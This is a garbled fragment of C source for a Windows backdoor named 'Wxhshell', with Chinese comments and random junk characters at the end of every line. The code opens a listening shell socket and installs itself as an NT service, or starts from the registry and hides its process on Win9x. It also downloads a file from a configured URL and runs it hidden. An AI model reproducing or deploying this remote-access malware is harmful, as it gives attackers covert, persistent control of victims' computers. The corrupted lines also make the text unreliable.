ULONG InheritedFromUniqueProcessId; E*$:~w
} PROCESS_BASIC_INFORMATION; spf}{o
w>eOERZa
PROCNTQSIP NtQueryInformationProcess; okW3V}/x/z
iT5%X
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A@4Cfb@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l d@^$
5y)kQ<x"
HANDLE hProcess; f{J7a1 `_
PROCESS_BASIC_INFORMATION pbi; "(5}=T@,
>;Bhl|r~z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F&\o1g-L
if(NULL == hInst ) return 0; {XAKf_Cg
H0S7k`.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VQCPgs
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x+&&[>-P
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sC$X7h(Q+
N=kACEo
if (!NtQueryInformationProcess) return 0; ^s-3U
kF5}S8B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xiiZ'U
if(!hProcess) return 0; p ,!`8c6
;Mc}If*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P%.5xYn
T "z!S0I
CloseHandle(hProcess); x8H)m+AW
Hi9]M3Ub
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;J:YNup
if(hProcess==NULL) return 0; p81~Lk*Hz@
JBqzQ^[n
HMODULE hMod; j EX([J1
char procName[255]; =F`h2 A;a
unsigned long cbNeeded; gm8H)y,
^a]:GPc
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nL$tXm-x
Au
{`oxD
CloseHandle(hProcess); zAH+{4lC+
k $);<= ZI
if(strstr(procName,"services")) return 1; // 以服务启动 `>V.}K^4
ZE9*i}r
return 0; // 注册表启动 O;XF'r_
} Og["X0j
uGv+c.~[j
// 主模块 1+^c3Dd`
int StartWxhshell(LPSTR lpCmdLine) %l,Xt"nS#
{ !#r]f9QP
SOCKET wsl; iJ\#su
BOOL val=TRUE; i-Z@6\/a5
int port=0; D@Q|QY5qic
struct sockaddr_in door; b`2~
pyN PdEy
if(wscfg.ws_autoins) Install(); ?vhW`LXNB
rScmUt
port=atoi(lpCmdLine); au8)G_A
m'S-h'a
if(port<=0) port=wscfg.ws_port; BH}u\K
H=dj\Br`
WSADATA data; /f#sg7)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T57S!CJ^$5
6V8"[0U
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5=dg4"b]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !vsUL-
door.sin_family = AF_INET; m?csake.Me
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {\%x{
door.sin_port = htons(port); .VI2V-Q
Un<~P@T%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (YR1ML3N
closesocket(wsl); F2u{Wzr_@
return 1; bZ389dSn
} kqyY:J
0]Li"Wb
if(listen(wsl,2) == INVALID_SOCKET) { ]t,ppFC#
closesocket(wsl); qn<~
LxQ
return 1; ^Ab|\5^3
} Oz+>I^Q
Wxhshell(wsl); {u:DC4eut
WSACleanup(); #):FXB$a
IE|$>q0Z
return 0; !rXyw`6N
v(afaN
} X<1# )xC
~h1'_0t
// 以NT服务方式启动 ]-O:| q>]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q{>{ e3z}
{ s^6S {XJ
DWORD status = 0; +>s[w{Svy
DWORD specificError = 0xfffffff; F`3I~(
rUj]6j=e
serviceStatus.dwServiceType = SERVICE_WIN32; fQv^=DI#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4WNWn#M
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /JvNJ
f
serviceStatus.dwWin32ExitCode = 0; KQEn C`Nz
serviceStatus.dwServiceSpecificExitCode = 0; t]Oxo`h=
serviceStatus.dwCheckPoint = 0; \}cEHLq
serviceStatus.dwWaitHint = 0; l{;vD=D
6@bO3K|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gn'. 9";j
if (hServiceStatusHandle==0) return; 1(m89C[
<%|2yPb]
status = GetLastError(); ATwPfo8jx@
if (status!=NO_ERROR) KF-n_:Bd+
{ E")82I
serviceStatus.dwCurrentState = SERVICE_STOPPED; GU_R6Wt+
serviceStatus.dwCheckPoint = 0; chxO*G
serviceStatus.dwWaitHint = 0; ,l~i|_
serviceStatus.dwWin32ExitCode = status; $oh}!Smt
serviceStatus.dwServiceSpecificExitCode = specificError; {|
Tl3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rtOXK4)]I
return; pwm]2}+
} Xbfn@7m
JD,/oL.KA
serviceStatus.dwCurrentState = SERVICE_RUNNING; A9[l5E
serviceStatus.dwCheckPoint = 0; 32dR`qb
serviceStatus.dwWaitHint = 0; 3]V"9+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uc6P@O*,
} 5*~G7/hT
,%Dn}mWu
// 处理NT服务事件,比如:启动、停止 +Ge-!&.;A
VOID WINAPI NTServiceHandler(DWORD fdwControl) )y._]is)b
{ x%0Q W
switch(fdwControl) 40mgB4I
{ zU]95I
case SERVICE_CONTROL_STOP: )/Ul"QF
serviceStatus.dwWin32ExitCode = 0; c\7~_w2
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0*x
serviceStatus.dwCheckPoint = 0; 3PPN_Z
serviceStatus.dwWaitHint = 0; g&&5F>mF
{ {8'I+-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iFpJ/L
} .]P@{T||Y
return; 9z,V]v=
case SERVICE_CONTROL_PAUSE: .%.J Q
serviceStatus.dwCurrentState = SERVICE_PAUSED; >/GVlXA'
break; { "=d7i
case SERVICE_CONTROL_CONTINUE: '`^`NI`
serviceStatus.dwCurrentState = SERVICE_RUNNING; iku) otUc
break; r6JdF!\d
case SERVICE_CONTROL_INTERROGATE: %i$]S`A}
break; r65/O5F
}; 66!cfpM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); QF
Vy2 q
} r,a V11{
UhXZ^k3
// 标准应用程序主函数 6o!+E@V
b
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m&cVda/
{ ^*`hJ48u
Y2HF
// 获取操作系统版本 n](Q)h'nlo
OsIsNt=GetOsVer(); a}EO7tcg,
GetModuleFileName(NULL,ExeFile,MAX_PATH); *+rO3% ;t
;(5b5PA
// 从命令行安装 ]gx]7
if(strpbrk(lpCmdLine,"iI")) Install(); CM|?;PBuv
c/%i,N\5
// 下载执行文件 9Eu.Y
if(wscfg.ws_downexe) { 3%p^>D\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
4At{(fwW
WinExec(wscfg.ws_filenam,SW_HIDE); \%g#
__\
} XcD$xFDZ
#| ETH;HM
if(!OsIsNt) { ===M/}r
// 如果时win9x,隐藏进程并且设置为注册表启动 s8Bbet
HideProc(); h0_od/D1r
StartWxhshell(lpCmdLine); oF7o"NHaWa
} ,*!HN
&
else _vr>-:G
if(StartFromService())
BUvE~l.,|
// 以服务方式启动 =^%#F~o:
StartServiceCtrlDispatcher(DispatchTable); YEqZ((H
else -C1,$mkj
// 普通方式启动 [Wf% iwB
StartWxhshell(lpCmdLine); .?|pv}V
+`'=K ;{U
return 0; Po_y78ZD
}